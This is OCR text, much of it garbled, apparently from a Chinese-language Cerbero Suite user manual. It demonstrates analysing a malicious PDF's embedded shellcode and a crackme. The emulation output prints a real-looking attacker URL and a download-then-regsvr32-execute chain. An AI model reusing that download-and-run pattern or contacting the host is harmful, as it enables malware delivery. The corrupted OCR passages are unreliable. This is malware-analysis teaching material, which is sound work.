WDA3//7/) " 111= 38+ 39+ 110+ 35: 112= 3i1( 37 1121
%2)_112+-une3cape (*5007) s 113= 32 (112) 7. ((k:_112))_T0 (k) ;que123b. rawvalue= 111) j30

ray=. 17 Tdakrote, 032000

Enter ython code hers [focus with Corl+Alt+.]

JavaScript fAIBM N AIEH, MELARIE, EILIFAIRIT JavaScript beautifier R 1ELAEE

© 2024 Cerbero Labs 18



Installed Editor

[ Show disabled actions

‘F\lter

‘Conversion ~
Base64 to Bytes
Hex String to Bytes
Text to Bytes
Emulate
Emulate Batch Script
JavaScript
Beautify JavaScript
Debug JavaScript
Execute JavaScript
Open New JavaScript Editor
JSON
Indent
Online

Download Chrome Extension

Download Malware Sample by Hash
Download Multiple Malware Samples by Hash
HybridAnalysis Search

FA77T LATE JavaScript fCEB AR & TN BIHCRE shellcode BIFRT ERo

File Navigation Actions Views Tools Help

BE e T ows D@ ne el €9 ew e BN DD # & W08 s - [72426881C7960FSD4BB60C28782C022FORSTE1426D7 13FIEIGBOOEACODI  +
=
B File Rk Format
1 C:\user_manual_samples\pdf_document 100% PDF
Analysis [Javascrpt Code] oB& Edior 8B Text view 1 a
| & 5
Name Risk Group ££f, ggg, hhh;

4 pdf_document 100% Docun
4 Documents

< >
[ ——————————
Threats
'@ Javascript Code

Information
@ Metadata: Mediainfo

00£256380423¢20600£96218042901 £80423090844a7d 7230424141414
1 08870
b7538b743578031"

94941, be1038£2740

7d0c337403966b£ 3868083

7260645485168 5 £ 7042472656773¢744240¢

33¢951C7441d0077706274c7441d0522646c6cc6441d0900598ac1043088441d0441516200620053576a00:

7803£0075£a47803£007 £e6e: 01bd3;
£a4617451. 77207068703 2662d31

bSe1083c305£e36

13 13.viewerVersion. toString ()

1 _16.Teplace(.", '");

15 (_16.length < 4) 16 += '0';

16 Parselnt(_1e, 10]

17)

18 function 17(18, 19) 3

| [Enter eython code here [focus with Corlealts.]

© 2024 Cerbero Labs



A EF " Hex String to Bytes” HEERG HP— N FRBEE AT T,

Execute Action... - Cerbero Suite 7.5

Installed Edicor
[ Show disabled actions

Fiker....

Configure

Conversion
Base64 to Bytes

Hex String to Bytes

Text to Bytes
Emulate
Emulate Batch Script
JavaScript
Beautify JavaScript
Debug JavaScript
Execute JavaScript
Open New JavaScript Editor
JSON
Indent
Online
Download Chrome Extension
Download Malware Sample by Hash
Download Multiple Malware Samples by Hash
HybridAnalysis Search

Cancel

WE, HAVESHEBRIEEE FEARENR RINEREF. XEHRINNEBRELINHNAR,
HIEEZEERFER Carbon 2545 shellcodes

FAMTARNRBAZI, HREREXHFEI

© 2024 Cerbero Labs

00000000 63
00000010 Copy Fola
00000020 Edit v |00
00000030 . 41
00000040 posiion ' |Eo
00000050 Find r |76
00000060 Select v |EE
00000070 . E4
00000080 e ' les
000000890 Print ' | DB
00000020 Screenshot » | 3B
000000B0O EC
0000000 Layout ' |59
000000D0 - . . F3
00009080 Duplicate View Ctrl+Shift+D e
000000F0 = To Text View Ctrl+Shift+T | co
00000100 ek
00000110 Vd Filter... Ctrl+T ES
00000120 | IE" Add Selection as Root Object Sc
00000130 . 33
00000140 | 44 24 08 20 2D 73 20 53 68 F8 00 00 00 FF

Select a format... - Cerbero Suite 7.5

Name: [shelcode]

Format Description File extensions
* Unknown
7z 7z Archive Tz
ABC ABC File
ACODESIGN Apple Code Signature
ACTIVEMIME ActiveMime Container
AR AR Archive ar, lib, deb, a
AXML Android Binary XML
BMP Bitmap Image File bmp v
Filter....
Cancel

20



BIFTHRNTR, BT LB R Cerbero Suite 2 MEIEIERTBER shellcode, F+75id
FMEFEEIR URL 2B MEH A (payload) HJ URL,

[shellcode] - Cerbero Suite 7.5 -

File Navigation Actions Views Tools Help

KB - WE DU #&RP& &9 anw BN EE # & o [siase - ©
L Roots s x . oup ax
# File Risk Format
1 Cuser manual_sampleslpdf_document 100% Por
2 shellcode ow® 2
% Herarchy #% & Anaysi [shelode] B [ Edtor o Text view 1 o | e From hex string o
e B v Moo
Name
Offset | 0 1 2 3 4 5 67 8 9 A5 CDEF ascrz S
shellcode

00000060 D5 66 8B SE 3 03 74 33 2C 81 ES 15 10 FF FF B8 .£.°<.t3,.......
00000070 | 83 40 30 C3 46 39 06 75 B 67 34 24 85 B4 75 51 .@0.F9.u..45..up
00000080 £9 EB 4C 5L 56 €5 75 3C B 74 35 78 03 F5 56 0B et
00000080 76 20 03 F5 33 C9 49 41 EC AD 03 C5 33 DB OF BE
00000080 10 38 F2 74 08 C1 C3 0D 03 DA 40 E3 F1 38 1F 75
00000080 | £6 58 95 SE 24 03 DD €6
000000C0 | 24 0C 5 DB 03 DD &3 04
Tr— ]| 00000000 | 53 AD 85 68 20 80 7D OC
000000E0 08 35 F7 62 05 59 B8 93

Warnings 000000F0 | 00 00 S8 50 6a 40 63 FF

s Possible Shellcode Detected 00000100 55 8B EC 8B SE 10 83 C3
00000110 68 75 72 6C 6D 54 FF 16

00000120 FF FF EB 02 EB 72 81 EC
00000130 C7 04 24 72 65 67 73 C7
00000140 48 24 08 20 2D 73 20 53
00000150 83 E¢ 33 €9 51 C7 44 1D
00000160 05 28 64 6C 6C C6 44 1D
00000170 42 1p 04 41 51 6a 00 6A
00000180 85 CO 75 1€ GA 00 53 EF
00000190 FF 56 04 83 C3 0C EB 02
00000120 | 47 80 3F 00 75 C4 €A 00
000001B0 | FF FF 8E 4E OE EC 98 FE

4 Format. 8 x o 79 36 1
rer 28 31 32 30 28 31 32 31
2¢ 64 6174 61 27 43 6¥ @D 65 27 77 25 70 68 70 /daca/Home/w.php
3¢ 66 30 31 36 26 65 30 34 00 00 artoie .
Cursor: 17 Selecton: 1A Sae: 2F
Enter Eython code

LtEEY, WNREHE N AFAIE, 7 LAER ShellcodeToExecutable ¥ 21E3E shellcode 3% ik
RERITXEFERIRBIPIEIRE. NREERERXEM, BREEEMVPIZEITE.

Build executable from shellcode... - Cerbero Suite 7.5 — B -

Value

Entry point (hex) 0

Machine Intel 386 ~

Output file C:AUsers\h\Desktop\shellcode.exe
optional)
Chapps\x64dbg\x64\x64dbg.exe
Arguments %1

NREEEWIFAE, e 4:ER Silicon Shellcode Emulator #4793 4o

Execute Action... - Cerbero Suite 7.5 n

Installed Edicor
[] Show disabled actions Configure

Fitcer

String Decrypter ~
Data

Entropy

Find Strings.

Magic Information
Debug

Shellcode to Executable
Emulate

Emulate Windows shellcode
JavaScript

Debug JavaScript

Execute JavaScript

Open New JavaScript Editor
Online

Download Chrome Extension

Download Malware Sample by Hash
Download Multiple Malware Samples by Hash
HybridAnalysis Search

© 2024 Cerbero Labs 21



FEAHIF, FAFEFER Emulator,

BANERE x86 RN — P AFECEX o

Silicon Shellcode Emulator - Cerbero Suite 7.5

“oEN

Emulator

Architecture:  x86 ~

Memory profie

Nane [ Mew |
Task Explorer x86
Delete
Refresh
Open folder
Shellcode:
Disassembly | Data |
0x00000000 ac dec esp ~
0x00000001 20 60 OF and byte ptr [eax + 0xF], ah
0x00000004 05 17 80 4A 3C add eax, 0x3C4AB017
0x00000009 20 60 OF and byte ptr [eax + 0xF],
0x0000000C  OF 63 B0 4A A3+ packsswb mm0, qword ptr [eax - Ox7F145CEE]
0x00000013 4an dee edx
0x00000014 30 20 xor byte ptr [eax], ah
0x00000016 82 4A 6E or byte ptr [edx + 0x6E], Ox2F
0x0000001A 80 4A 41 41 or byte ptr [edx + 0x41], O0x41
v

Base address.

The address at which to map the shellcode: |Optional

0K

Cancel

NEBERBMRERERFIRD,

TEFFUERY, shellcode & — emulator AZ1FH MMX 185, Fi1Feha# (F7) HE

k2

R

70\

RIEIER

[AC20600F05..] - Silicon Shellcode Emulator - Cerbero Suite 7.5 - ol
file Debug Actions Views Help
* WS LS 2]
o 8l 5 x
0x00022000 eop fc110] Eax 3c4a8017
0x00022001 byte ptr [eax + 0xF1, ah [C11D] ECX 00000000
0200022004 eax, 0x3C4RBOL7 [c1 D] EDX 00000000
0x00022003 byte ptr [eax + 0xF], ah (€] [D] EEX 74601220 -> API:USER3Z.Updateiindow
=> 0x0002200¢ mn0, quord ptr [eax - 0xTFL45CE6] (clip] Ese 001eDEE3
0x00022013 edx [c11p] £8P 0018DBFC
0x00022014 byte ptr [eax], an {c]1p] EST 0063e558
0x00022016 byte ptr [edx + Ox6E], Ox (€1 [p) EDT 0063FSSE
0x00022018 byte ptr ledx + Oxé1l, Oxdl
0x00022018 {c11D] ETP 0002200 (EAYLOAD)
0x0002201F
0200022020 byte ptr es:leax], al EFL 00000246 (2, 2, IF)
0200022023 byte ptr [eax], al
0x00022025 byte ptx [eax], al
0x00022027 byte ptr [eax], al
0200022029 byte ptr leax], al
0x00022028 byte ptr [eax], al
0x0002202 byte per [esx], al
0x0002202¢ byte ptr ledx], dl
0x00022031 39 80 - e duord ptr [eax + 0x60206442], eax
0x00022037 0 s1ae word ptr [eax + eax]
0x00022038 00 41 4 ada byte ptr lecx + Oxéil, al
0200022032 4 inc
0x00022038 4 inc eex
0x00022040 4 inc scx
0x00022041 41 inc cx
E & x ox Memory ax
info: input data mapped at address 0x00022000 Offset | 0 1 2 3 4 5 6 1 8 9 A B CDEF nscrt -
00022000 | ffc 20 60 OF 05 17 80 4 3C 20 60 OF OF 63 £0 4A E.°....J<."..c.J
00022010 | A3 =B 80 4R 30 20 62 4A 65 2F 80 4R 41 41 41 41 ...J0..an/.JRARA
00022020 | 26 00 00 00 00 00 00 00 00 00 00 00 00 0D 00 00
00022030 | 12 39 80 4 64 20 60 OF 00 04 00 00 41 41 41 41
00022080 | 41 £1 41 41 66 33 E4 FC FC 85 E4 75 34 B9 5¢ 23
00022050 | CO 64 €3 40 30 &3 40 0C 8B 70 1C 56 €8 76 08 33 M
Cursor: 22000
Emuor || oo nd (b for

[E2Fi 1448 EIP BUELABLT 1235<

0x00022009
=> 0x0002200C
0x00022013
0x00022014
0x00022016
0x0002201a
0x0002201E
0x0002201F
0x00022020
0x00022023
0x00022025
0x00022027
0x00022029
0x00022028
0x0002202D

0x00022040

© 2024 Cerbero Labs

and byte ptr [eax + OxF], ah
packsswb mm0, qword ptr [eax - Ox7F145CB6]
de dx

e
byte ptr [eax], ah

byte ptr [edx + Ox6E], 0x2F
byte ptr [edx + Ox41], Ox41

byte ptr es:[eax], al
byte ptr [eax], al
byte ptr [eax], al
byte ptr [eax], al

[C][D] EBX 746D1BBO -> API:USER32.UpdateWindow
[C][D] ESP 0018DBE3
[C][D] EBP 0018DBEC
[C][D] ESI 0063F558
[C1[D] EDI 0063F558

[C1[D] EIP 0002200C (PAYLOAD)

EFL 00000246 (PF, 2F, IF)

K Set value of EIP - Cerbero Suite 7.5

word ptr [eax +

0x00022013
byte ptr [ecx +

Cancel

22



FAIIIERT LLLE emulator IETTEIFRBY shellcodeo

[4C20600F05..] - Silicon Shellcode Emulator - Cerbero Suite 7.5 -0
File Debug Actions Views Help

- ) é Pe S
= & x  Regsters 8 x
=> 0x00022120 call 0x2204%

\Usezs\Ed\appData\Local\Terp\wpbt0.dll

[C][D] EST 00022182 (PAYLOAD:
(€] [D] EDI 000221FA (PAYZOAD)

[C1[D] ETP 0002212D (FAYLOAD)

FL 00000246 (¥, ZF, IF)

@ s a5 coDEF
3c 20 €0 OF OF 63 20 4a
6 2F 80 47 41 4141 41 ...
00 00 00 00 00 00 00 00 ..

o0 04 00 00 41 41 41 41
FC 85 B4

PI: WinExec("zegsvr32 -s C:\Users\ caly 0.a117 || g 6 c 027 2

x e 13
mulated APT: TerminateThread() = PAUSED B2 74 35 6 03 58 50 o8 | [onavneiise v

Cursor: 22000

Emubtor - |Enter debug command (b for help) [focus with Cirlialc

output fLEE/RT shellcode IHAMFRE APl REES#,

“ Output 8 x
info: input data mapped at address 0x00022000

simulated API: VirtualProtect (addr:0x220F2, size:0xFF, flags:0x40) = OK
simulated API: LoadLibrarya ("urlmon™) = OK

simulated API: GetTempPathZ() = OK

simulated API: URLDownloadToFilea (url:"http://129%.121.231.188/data/Home/w.php?
f=16se=4", file:"C:\Users\Ed\AppData\Local\Temp\wpbt0.dll") = CK

simulated API: WinExec ("C:\Users\Ed\AppData\Local\Temp\wpbt0.dll") = OK
simulated API: WinExec ("regsvr32 -s C:\Users\Ed\AppData\Local\Temp\wpbt0.dl1l")
= 0K

simulated API: TerminateThread() = PRUSED

BANZBE+7EFIREREEIR URL #SEZ 1 3B URL.

2.4 AIRITXHED R

NRIEERMEIAIBIDTEL, ERIZBEERER Cerbero Suite L3RG TEZ{E 0

HIMNEWMB E— 1RO ERREN IEEPRAENGMEN, EE&TH, HITEST—
&8 HY crackme, WUINEE Carbon LR T E,

{E9 Cerbero Suite B—ININEE, Carbon B—MRESMHRICETE, BE ELUSTER
2EOM, MILEEE) Ghidra 3 IDA Pro FMETE,

EIRMADH, 1BHRE %L x86 Decompiler B,
1838 = summary view EY”Native Code: x86” I, FH{TAJ LB E]— Carbon L4
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https://cerbero.io/packages/x86decompiler/

File Navigation Actions Views Tools Help

/LB EEE OO sabal esfanik BN EE|# f 6w & -
=
# File Risk Format carbon: analysis finished in 0.0 seconds
1 Co\user_manual_samples\portable_executable 0% ve
a - <86 @ x
rer. text:0x00401390 B
Name text:0x00401390 loc_401390 ; cobe xREF: 0x00401220
exti0x00401390 call  sub 401805
4 M portable_executable text:0x00401395 ret
i Documents text:0x00401395
text:0x00401396 _stazt: ; ENtRYZOINT
Configuration file 1 (lang:1033) text:0x00401396 ~  call sub 401681
text:0x00401398  dmp  loc 401231
text:0x00401380
< > || - text:0x004013a0 )
sub_401380 proc start
; cobe XREF: 0x004014cF
push  ebp
@ Fiative Cote: 86 textiOx0040131  mov  ebp, esp
- call  dword ptr [0x402014] -> Isbebuggerpresent
Wi text:0x004013A9 push 1
s Metadata text:0x004013AB mov  dword ptr [0x403354], eax
extiON0040130  call sub 40150C -> _crt dibugger hook
text:0x00401335  push dword ptr [ebp + ©
text:0x00401388 call sub 401912 -> _creUshandledException
ap  dword ptr [0x403354], O
pop  eex
e text:0x004015C5  pop  ecx
H Dos Header ~]| - text:0x004013c6 Jne  loc_401300
o texti0x004013c8  push 1
E Rich signature text:0x004013CA call  sub_40190C -> _crt_debugger_hook
“ H Nt Headers text:0x004013c7  pop
4 File Header ‘text:0x004013]
4 14 Optional Header fext:0x00401300 loc_401300 ; cope xmeF: 0x00401306
i text:0x004013 0xc0000405
£ Data Directories ‘text:0x004013D5 call sub 401918 -> _ crtTerminateProcess
4 Section Headers = v
4 Import Director v || Address: 0x004013A0 - Done
por ny
Ente: Python cods here (focus with Corlibler.]
A L\ . . = = > 73| ’EE \\/ .
Sl (I EANYA:: Ty 140 St
FAVAT LAEER navigation 282 SR EI R > ringo
x00401390 Edit Bytes E
%x00401390 loc_401390:
X00401390 call sub_4018D5 Goto... > Go to Address... G
X00401395 ret Find »
xo00130e Functions 5 £
X00401396 _start: 3 Follow Return
x00401396 call sub_401681 Flagged Locations L
)x00401398 Jmp loc_401231 » Entry Point Ctrl+1
= Open Memory View Ctrl+Shift+M "
B W Function ctil+2
Decompile Tab Import Ctrl+3
sub_4013R0 proc start Load Debug Symbols...  Ctrl+D. Export Ctrl+4
7 Filter... Ctrl+T String Ctrl+5
push  ebp . y
v o, esp 0x Open in Hex Editor Label Ctrl+6
;::: dword ptr [0x402014] -> Export » Module Ctrl+7
Region ctil+8
mov  dword ptr [0x4033541, eal  yiew » €9
call  sub 40190C -> cit debugl Lo .| GotoXRef Origin... ctil+x
push dword ptr [ebp + 8] y
call sub 401912 -> _ crtunhan|  Settings (ColtolEaggedlioCationRRC IS
cmp dword ptr [0x4033541, 0 Previous Word Ctrl+Left
pop Son 5
bop  ecx Next Word Ctrl+Right
jne  loc_4013D0

BEFFRTIR, AR LUREE 112

RIS

Fiter

Address Module Text
00402034 portable_execu.. :$
00402038 portable_execu. HS
0040203C portable_execu.. T$
00402110 portable execu.. Enter the password:
00402128 portable_execu.. %255s
00402144 portable_execu.. Access denied.\n
00402130 portable_execu.. Access granted.\n
00402108 portable_execu.. 80@
00402014 portable_execu.. z%
00402048 portable_execu. Vs
00402018 portable_execu. 3%
00402040 portable_execu.. °$
00402044 portable_execu. 3$
00402030 portable_execu.. &3
00402074 portable execu. ez

ok || concel || Refesh

© 2024 Cerbero Labs
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EFRZFHEE, BIREEEERCHEFIUE,

File Navigation Actions Views Tools Help

REE e T mE D @ Re e €9 eow e BN DE # & 0% A2 | 4358C0E4EXGBO40DI635343301 188BABE7AFFISAFADDER2E2A91658C210 1 ~
[E
; ile ek Fomat Garbon: analysis finished in 0.0 seconds
1 C:\user_manual_samples\portable_executable 0% PE
a : X86] 8 x
e caata:0x00402108 5
1oc_toz108: DT xmar: Ox004014ca
Name o502
“ i portable executable 30 '0
4 4 Documents 40 'e
% Configuration File 1 flang:1033] :Z
20 0
g
raata:oxo0d02ior 00
< > | ‘zaata:oxooa0z120
la rdata:0x00402110 loc_402110: ; DATA xREF: 0x0(0109F
: :

4 Native Code: x86

rdata:0x00402112 74 't
rdata:0x00402113 65 'e

6 'n

4 Rich Signature
4 14 Nt Headers
H File Header
4 4 Optional Header
H Data Directories.
14 Section Headers
i Import Directory v

Warnings rdata:0x00402114 72 'x'

s Metadata rdata:0x00402115 20 *
rdata:0x00402116 74 't

rdata:0x00402117 68 '
rdata:0x00402118 65 ‘e

rdata:0x00402115 20 ©

rdata:0x0040211A 70 'p

Fer.

14 Dos Header || ‘zaata:oxoosoziic 73 s

rdata:0x00402110 73 ‘s
rdata:0x0040211E 77 'w
rdata:0x0040211F 6 ‘o
rdata:0x00802120 72 'x
rdata:0x00402121 64 'd.
rdata:0x00402122 3
rdata:0x00402123 20

‘Address: OX0D402110 - Done

Enter python code here [focus With CIrlsAli+.]

FELt, T ANEIIR 5| ABkALEIS | Bz F AR REAE,

File Navigation Actions Views Tools Help

14 Section Headers
i Import Directory v

BE e T ous 0l @ nd e €9 ew e BN DI # & 0% A6 - 4358C0E9AE26B940D36353433N11B8BABA7AFFISAFADDED2EIN91658C210 1 -
=
B File [T —s carbon: analysis finished in 0.0 seconds
1 Ci\user_manual_samples\portable_executable 0% PE
Q Code: x86) 8 x
e text:0x00401070 sub 401070 pros start =
e text:0x00401070 + cope xmeE: 0x00401325
text:0x00402070  push ebp
4 i portable executable ‘text:0x00401071 mov. , @s]
+ i Documents £ext:0x00401073  sub  esp, Oxs0C
. . text:0x00401075  mov  eax, dword ptr [0x403000]
Configuration file 1 flan ‘text:0x0040107E xor eax, ebp
‘text:0x00401080 mov. dword ptr [ebp - 4], eax
texti0x00401083  mov  byte pbr Lebp - OxC], OxEB
‘text:0x00401087 mov. byte ptr [ebp - 0xB], 0x57
< »|| taxt:ox00402088  mov  byte pte fabp - Oxal, Oxe7
‘text:0x0040108F mov. byte ptr [ebp - 9], OxEF
I mov  byte pte Lebp - 81, 0357
insic mov. byte ptr [ebp - 7], OxDF
@ native Code: e texti0x00402058  mov  byte ptr lebp - 61, 0
[text:0x0040109F  push  0x402110 ; "Enter the password: *
Warnings text:0x004010A4 call dword ptr [0x402090] -> printf
. Metadata ‘text:0x004010AA add. esp, 4
text:0x00402000  lea  eax, [ebp - 0x10C]
5ext:0x00401083  push eax
text:0x00401084  push  0xd02128 “s2sssn
= text:0x0040108 call dword ptr [0x402034] -> scant
2 esp,
Fiter. ‘text:0x004010¢2 lea ecx, [ebp - 0x20C]
5 Dos reader 7| text:oxo0soioce  push eex
B s e text:ox004010cs  lea  eax, [ebp - 0x10C)
h Signature ‘text:0x004010CF push &
“ 1 Nt Headers 5ext:0x00401000  call  sub_401000
H File Header text:0x004010D5 add .8
4 4 Optional Header ‘text:0x004010D8 lea  eax, [sbp - OxC]
text:0x00402008  push eax
Hl Data Directories text:0x004010DC lea  ecx, [ebp - 0x20C]

‘Address: OXODAD109F - Done

Enter python code here [focus With

Trlalte.]

Ffi 1% Tab R 2 43 063,

File Navigation Actions Views Tools Help

HE e wE DU @ ek €9 e s B DI # L 0F A | a5000earieiosniss Al 000 AN ADDE A 650C20 -
[
1 C:\user_manual_samples\portable_executable 0% PE
a Analyss [Natwve Code: xB6] CRIE] Decompler [Native Code: x86] a
WFer Unke_t austack_210 [256]; ~

Name.
4 M portable_executable
4 Documents
% Configuration File 1 [lang:1033]

< >
Intrinsic threats
& Native Code: x86
Warnings
s Metadata

uStack_8 = #(uint3z_t +)0x403000 * (uint32_t)sstackOxEEEEEEte;
uStack 10 = OxEB;

ustack_a = 0;

(*_printe) ("Enter the password: ") ;
(+_scanf) (":2555", austack_110) ;
sub,

Frer..
i Dos Header ~
1 Rich Signature
4 1 Nt Headers
14 File Header
4[4 Optional Header
14 Data Directories
4 Section Headers
it Import Directory v

Lne:

P 110, austack 210);
ivazl = (*_stromp) (austack_210, Gustack_10) ;
it (ivari == 0)

(*_prints) ("Access granted.\n"

)
else {
(*_prints) ("Access dented.\n") ;

sub_401112() 5
et

- Cobimn: 47

| [Enter eython code here (focus with Corltalt+.]

© 2024 Cerbero Labs
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FAMER N BRESZEEMRHZ,

ustack_8 = *{( *)0x403000 ~ ( ) astackOxfffffffc;
ustack_10 = OxES;

ustack_f = 0x57;

ustack_e = 0x67;

ustack_d = OxEF;

ustack_c = O0x57;

ustack_b = OxDF;

ustack_a = 0;

(*_printf) ("Enter the password: ");
(*_scanf) ("%255s", user_input);
derive password(user_input, processed_input);
ivarl = (*_strcmp) (processed input, suStack_10);
(ivarl == 0) {
(*_printf) ("Access granted.\n") ;

{
(*_printf) ("Access denied.\n");

}
sub_40111E() ;

B, ABEFEEMSR:

RoiRm AP RARR,
2. ﬁHFiﬁu)\E’JW&\LQEﬁE VI,
3. ZiRERVEIH 51k L EPRBYF T R 1TLE,
4. MMRFFTBROCE, ZHEERES; TNNEL,

FIENRFFFREPE derive_password” BR#,

derive password( param 1, param 2)
{
ivarl;
istack_c;
ivarl = (*_strlen) (param 1) ;
(istack_c = 0; istack_c < iVarl; isStack_c = iStack ¢ + 1) {
*( *) (param 2 + istack_c) =
(o« Y ((C ) *( *) (param 1 + istack_c) << 3) |
*{ *) (param 1 + istack_c) >> 5) ~ 0x7F) + 3;
}

*( *) (param 2 + ivarl) = 0;

AT RNTEZRIBEERZ AT F A HREASY, TR Y # BoiERE,

Change Prototype - Cerbero Suite 7.5

void __stdcal derive_password(char *input, char *output) v
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DN B W N =

~

BANE RPN EHTT T Ean o

derive password( *input, *output)
{
len;
i
len = (*_strlen) (input);
(i=0;i<1len; i=1+1) {
output[i] = ((( ) (| )Yinput[i] << 3) | input[i] >> 5) * Ox7F) + 3;

output[len] = '\0';

NERBEZ S TER, RNEEERBEEEEL LERNFR S,

ext:0x00401070 push  ebp

ext:0x00401071 mov  ebp, esp

%00401073 sub  esp, 0x20C

%00401079 mov  eax, dword ptr [0x4030001

ext:0x0040107E xor  eax, ebp

ext:0x00401080 mov  dword ptr [ebp - 4], eax
ext:0x00401083 mov  byte ptr [ebp - 0xCl, OxES
ext:0x00401087 mov  byte ptr [ebp - 0xB], 0x57
ext:0x00401088 mov  byte ptr [ebp - OxAl, 0x67
ext:0x0040108F mov  byte ptr [ebp - 9], OxEF
ext:0x00401093 mov  byte ptr [ebp - B], 0x57
ext:0x00401097 mov  byte ptr [ebp - 7], OXDE
%0040109B mov  byte ptr [ebp - 6], O
%0040109F push  0x402110

%004010A4 call dword ptr [0x402090]
200401022 add  esp, 4

%004010AD lea  eax, [ebp - 0x10C]

o ch o ot g o of of o cf oF ot of o
oD DD
e % % %

.text:0x004010B3 push eax
.text:0x004010B4 push 0x402128
.text:0x004010B9 call dword ptr [0x402094]

F1T@EE Cul+Alt+P IREEH T " Views” FLBEFTH—FTEY Python 4RiEes, HEE LT
Python f{RERARZ F T &R,

password = bytes ([0xE8, 0x57, 0x67, OxEF, 0x57, O0xDF])
decrypted = ( (password))

i ( (password)):
b = (password[i] - 3) =~ 0x7F
decrypted[i] = ((b >> 3) | (b << 5)) & OxFF

("Decrypted password:", decrypted.decode("ascii"))

ERiEssPiETHIZ (Ctrl+E) H&7E output B E R crackme BYZFZ,

= Output & x

Decrypted password: Secret

EEEIARENERE, BINFEFMRENTRAIRBILENTRSTBABREISMW,
AR IEFT Cerbero Suite EREINAERVIFET O BIEE, XERFINNEIB. BBEEX
PRRTH TEMBRARMRERAE, SR AMEZRAR T AR ERIMNE L 2HEY
IEDHTEE ). BERKREEET, 7T &KHE Cerbero Suite FIEERERE, MMEEERN D
Ao

NREBERRAXFEH DRI, FEIIIDRR, REFIINF], FHEE Cerbero
Suite REBSRY NG TIERBVIS HIBHF!
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Cerbero Suite BI¥J9 R E, WIIAEEN, BFAAEZROEINEMBTE. APMAX
BHRHGMIINIIE, TieRIMXME. HinZMIE. BIENMTEREY, CERENE
MIEEARS, XPMHRRAELT ENITERE, BERFABELRINEENEST—TED

B3,

@ Start.

a

-
@ Update
) -
@ Avoue

. Svstem Scan

| Extensons

Cerbero Suite

B Fie Scan + 1 ™ Diectory Scan *

Recent History:

- C:\Windows\System32\kernel32.dI
ﬂj‘ C:\tmp\SOFTWARE

S 5

C:\tmp\shelcode.

C:\tmplcertexel

Hex Editor + T B Python Editor *

Recent History:
C:\Windows\System32\ntdl.dl
Ux  c\wndowsisystemazincosiinlexe

m

™

Recent History:
C:\Windows\assembly
C:\Windows\System32
C:\Program Fies

Drop a fie here

ANALYSIS
U Perform a scan on a file or open a project
it Perform a sc
4 Perform a full disk or custom scan

an on a directory or open an unpacked project

DEBUG
&5 JavaScript Debugger
{@ Silicon Shellcode Emulator
EDITOR
0x Hex Editor
Python Editor
MEMORY

¥ Perform a scan on a raw memory image

MISCELLANEOLIS.

¥ Recent History w

¥ Recent Hstory i«

¥ Recent History i«
¥ Recent History i«

Filter...

3.1 iFANIEER

7EAfR Cerbero Suite NiZ@ D FIBIMEMNE—F, RAELINEE (FIE0iFE) Cerbero
Store FIZFWEFT) ERIMVIBER TATH, 18T’ About’ A HNERIIFRTIEE B I

© 2024 Cerbero Labs
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AR E,

Cerbero Suite - [UNLICENSED] - o

Cerbero Suite %4

Cerbero Sute 7.4.0

A
Start % ©2024 Cerbero Labs.
Al fights reserved.
| SystemScan
Enter cense.
|| Exensions
— Enter license - Cerbero Suite - [UNLICEN... n
& swr
Name: |
@ update Key
O sengs [ o Cancel
(7

Latest News 2)

Version 7.4

- added YARA Rules package

- added edting of macOS process memory

- added DotNET ManifestResources Format package
- added FLIR Format package

- added fikers to hierarchy and format views

- added scan extension informaton to ive scans

- added documentation for the SQLte3 module

- expanded Python SDK

- updated YARA to 4.5.0

- various bug fixes and mprovements

Version 7.3

WANTFAIEERE, RASRTEREITAIE.

Activation - Cerbero Suite - [UNLICENSED]

Thank you for entering your license!

The next step is to activate you license. If you have an internet connection, just click on
'Activate’.

If that is not the case, click on 'Manual activation' to activate your license from another computer
with internet connection.

Activate Manual activation Later

TR A B hEFsUE R el N FFEE0E, iR BUEE HERIIEEFIR
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https://store.cerbero.io/activate/

BR#R(E,

Activation - Cerbero Suite - [UNLICENSED]

1) Go to https://store.cerbero.io/activate/

2) Enter the folowing UID and Activation Code along with your license key in the form on the web

page.
uID: |
License: |

Activation Code: |

3) Click 'Activate’ on the web page and paste here the generated confirmation code.

4) Click ‘Activate’.

Activate Online activation Later

3.2 BERHER

EEEFONSE—TEDRP, ERILUARAREREERERREF, ZERHEFEBIH
WEFTATARER. Fl, ST B E N E RV, SFTF 7\
Hl4migas < T H.

Cerbero Suite ==
~ e A s 1k
erpero suite
B Fie Scan + Y™ Dicctoy Scon *
@G sen Recent History: Recent History:
C:\Windows\System32\kerne32.dI C:\Windows\assembly
A a C:\tmp\SOFTWARE @ C:\Windows\System32
System Scan "o 4
=y System Sca 2 Cmpishetende Ci\Program Fies
Cilump\certexet
| Extensons
- AT (YT -
# soe Recent Hitory:
Ci\Windovis\System32\ntdl.dl
© e X cWidows\system3aintoskomlexe
N sertngs
o ANALYSIS
@ rox % Perform a scan on a file or open a project ¥ Recent Hstory.

i Perform a scan on a directory or open an unpacked project ¥ Recent Htory.
& Perform a full disk or custom scan
DEBUG
&S JavaScript Debugger
@ silicon Shellcode Emulator
EDITOR
Ux Hex Editor ¥ Recent History
Python Editor ¥ Recent History »
MEMORY
3 Perform a scan on a raw memory image
MISCELLANEOL

Filter

FREATFEREEENNEZERHEFUERENEZMETRANER, BFIREE, X
LEEIRAURERET AR, MBEAENREINEE, MhR&RENBHEIER. R
XEMipRIAIRE,

ANERIFEER: RFERT logic provider ZIAMNEFELR, BT HMTARNER, &
AU EFHHFIANAREXEmIRIA/N, DIREEREEBRER TR,
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BREIFAAEWREFRSE LR, AIUERXATIERE,

ssssssssss

nnnnnnnn

SSSSSS

XOEE OB

321 mEXH
RSP ERHERBI AT elEZ0N THRRERH, ol UIRRIA 8 &IEFT X 4.

. Perform a scan on a file or open a project. Dropping a file on this Y
~%| window has the same effect i

3.3 CERBERO STORE

7£’Store’ E893, f&BJLLIAIR] Cerbero Store, iX& Cerbero Suite BN —ME45I0EE, RMUF
rﬁﬁﬁrBU:Fmo ZARSZ B T TEHMER LM MEERE, MMmigse T TEEND
fec AP AUEMERAREZMITAMINEE, NIRREN AT HEINSE L2 BAIF
15, Cerbero Store Jeft TipiR LM T AER, SIE(HESS. EESS. MEITAMET
BIEX, HRAFRIFGITETIRIBIFESTERER TAESE, A ER
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=FMB.

B

Category
Al (51)
|l Updates (1)
|l Installed (50)
|l Featured (2)
|l Cloud (3)
| Cryptography (3)
|l Debug )
|l Decompilers (3)
|l Development (1)
[l File Formats (23)
|l Forensics (4)
| Malware (14)
|l Online (4)
| Reversing (12)
|l Security 2)
[l Themes (2)
|l Unpackers (3)

Filter...

Cerbero Store - Cerbero Suite

% Instal Al

|® FLIR Format

Installed ~

|# shellcodeToExecutable

